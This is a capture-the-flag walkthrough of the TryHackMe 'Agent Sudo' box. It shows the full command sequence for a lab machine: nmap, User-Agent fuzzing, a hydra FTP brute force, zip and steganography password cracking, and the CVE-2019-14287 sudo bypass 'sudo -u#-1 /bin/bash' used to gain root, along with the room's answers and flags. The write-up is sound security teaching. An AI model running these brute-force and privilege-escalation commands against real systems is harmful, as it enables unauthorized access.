Agent Sudo
Task 1: Author note
Deploy the machine
No answer needed
Task 2: Enumerate
How many open ports?
Let's run a simple nmap scan on the IP address.
$ nmap -sC -sV 10.10.80.123
Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-13 13:14 IST
Nmap scan report for 10.10.80.123
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
| 256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_ 256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.64 seconds
There are three open ports:
| Port | Service |
|---|---|
| 21 | ftp |
| 22 | ssh |
| 80 | http |
Answer
3
How you redirect yourself to a secret page?
Let's visit the machine using the browser.
We have to use modify our request. For that we have to intercept it using Burpsuite.
Let's forward the request to the Intruder.
After setting the field on the User-Agent, we can move on to selecting the payloads.
We can set the Payload as a Simple list and use all the characters.
Let's start the attack.
We can see that the request where the User-Agent: C is being redirected to another page as shown by the 302 code.
Answer
User-Agent
What is the agent name?
Let's go to the Options tab and set the Follow redirection option to Always.
Now, let's start the attack again and check Response 2 to see if it has any useful information.
We are told the the user chris has a weak password.
Knowing that FTP is running on the machine, this could be an opportunity for brute forcing.
Answer
chris
Task 3 Hash cracking and brute-force
FTP password
Using hydra, we can brute force the password for the user chris.
$ hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.123
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-13 13:41:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.80.123:21/
[21][ftp] host: 10.10.80.123 login: chris password: crystal
[STATUS] 14344399.00 tries/min, 14344399 tries in 00:01h, 1 to do in 00:01h, 6 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-13 13:42:52
Now we know that the password for user chris is crystal.
Answer
crystal
Zip file password
Let's login through FTP using those credentials.
$ ftp [email protected]
Connected to 10.10.80.123.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Let's list out the contents.
ftp> ls
229 Entering Extended Passive Mode (|||36660|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
We can now download all the file using the get command.
ftp> get To_agentJ.txt
local: To_agentJ.txt remote: To_agentJ.txt
229 Entering Extended Passive Mode (|||9210|)
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
100% |***********************************************************************************************************************************************************************************************| 217 22.46 KiB/s 00:00 ETA
226 Transfer complete.
217 bytes received in 00:00 (1.51 KiB/s)
ftp> get cute-alien.jpg
local: cute-alien.jpg remote: cute-alien.jpg
229 Entering Extended Passive Mode (|||40007|)
150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
100% |***********************************************************************************************************************************************************************************************| 33143 115.35 KiB/s 00:00 ETA
226 Transfer complete.
33143 bytes received in 00:00 (77.08 KiB/s)
ftp> get cutie.png
local: cutie.png remote: cutie.png
229 Entering Extended Passive Mode (|||24980|)
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
100% |***********************************************************************************************************************************************************************************************| 34842 125.43 KiB/s 00:00 ETA
226 Transfer complete.
34842 bytes received in 00:00 (84.38 KiB/s)
Now that all of those files are in our machine we can search for the ZIP file.
Let's use binwalk on the cutie.pngfile to find more information.
$ binwalk cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
We can see that there is Zip archive data in one of the files.
Let's use binwalk to extract the ZIP file.
$ binwalk -e cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
$ ls
cute-alien.jpg cutie.png _cutie.png.extracted To_agentJ.txt
Let's go to the _cutie.png.extracted directory and take a look inside.
$ cd _cutie.png.extracted ; ls
365 365.zlib 8702.zip To_agentR.txt
We can use 7z to unzip the file.
$ 7z e 8702.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_IN,Utf16=on,HugeFiles=on,64 bits,3 CPUs 11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz (806C1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280
Would you like to replace the existing file:
Path: ./To_agentR.txt
Size: 0 bytes
Modified: 2019-10-29 17:59:11
with the file from archive:
Path: To_agentR.txt
Size: 86 bytes (1 KiB)
Modified: 2019-10-29 17:59:11
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y
Enter password (will not be echoed):
We don't know the password yet.
In order to unzip the file, we will first need to find it's hash. We can do that using zip2john.
$ zip2john 8702.zip > zip_hash.txt
Created directory: /home/kunal/.john
Let's now try to crack the password using john (John The Ripper).
$ john zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 3 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien (8702.zip/To_agentR.txt)
1g 0:00:00:01 DONE 2/3 (2023-11-13 14:00) 0.6060g/s 26421p/s 26421c/s 26421C/s 123456..mobydick
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
So the password of the ZIP file is alien.
Answer
alien
steg password
We can now unzip the ZIP file.
$ 7z e 8702.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_IN,Utf16=on,HugeFiles=on,64 bits,3 CPUs 11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz (806C1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280
Would you like to replace the existing file:
Path: ./To_agentR.txt
Size: 0 bytes
Modified: 2019-10-29 17:59:11
with the file from archive:
Path: To_agentR.txt
Size: 86 bytes (1 KiB)
Modified: 2019-10-29 17:59:11
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y
Enter password (will not be echoed):
Everything is Ok
Size: 86
Compressed: 280
Let's cat the content of To_agentR.txt.
$ cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
The string QXJlYTUx looks to be Base64 encoded.
Let's try to decode it.
$ echo "QXJlYTUx" | base64 -d
Area51
Answer
Area51
Who is the other agent (in full name)?
Next we can extract information from the cute-alien.jpg file using steghide.
$ steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt".
Let's cat the contents of message.txt.
$ cat message.txt
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
So we know that the user james has the password hackerrules!.
Answer
james
SSH password
Answer
hackerrules!
Task 4: Capture the user flag
What is the user flag?
Let's SSH into James' machine.
$ ssh [email protected]
The authenticity of host '10.10.80.123 (10.10.80.123)' can't be established.
ED25519 key fingerprint is SHA256:rt6rNpPo1pGMkl4PRRE7NaQKAHV+UNkS9BfrCy8jVCA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.80.123' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Nov 13 08:43:14 UTC 2023
System load: 0.0 Processes: 93
Usage of /: 39.7% of 9.78GB Users logged in: 0
Memory usage: 33% IP address for eth0: 10.10.80.123
Swap usage: 0%
75 packages can be updated.
33 updates are security updates.
Last login: Tue Oct 29 14:26:27 2019
james@agent-sudo:~$
Now we can look at the files in the machine.
james@agent-sudo:~$ ls
Alien_autospy.jpg user_flag.txt
Let's cat the user_flag.txt file.
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
Answer
b03d975e8c92a7c04146cfa7a5a313c7
What is the incident of the photo called?
For this we have to download the Alien_autospy.jpg image.
$ scp [email protected]:/home/james/Alien_autospy.jpg /home/kunal/tryhackme/agentsudo/.
[email protected]'s password:
Alien_autospy.jpg 100% 41KB 40.7KB/s 00:01
We can now use TinEye to perform a reverse image search.
Let's upload the file.
Let's click on the top link.
Answer
Roswell alien autopsy
Task 5: Privilege escalation
CVE number for the escalation
Let's look at what binaries have the
james@agent-sudo:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
The users are not allowed to run /bin/bash as root.
If we go to Exploit Database, we can find the CVE for this vulnerability.
Answer
CVE-2019-14287
What is the root flag?
We can also find the exploit for this vulnerability on Exploit Database.
Let's enter that in the terminal.
james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~#
We have successfully escalated out privilege to root.
Let's cat the root flag.
root@agent-sudo:/root# cd /root ; cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
b53a02f55b57d4439e3341834d70c062
By,
DesKel a.k.a Agent R
Answer
b53a02f55b57d4439e3341834d70c062
(Bonus) Who is Agent R?
The message was from Agent R who is also known as DesKel.
Answer
DesKel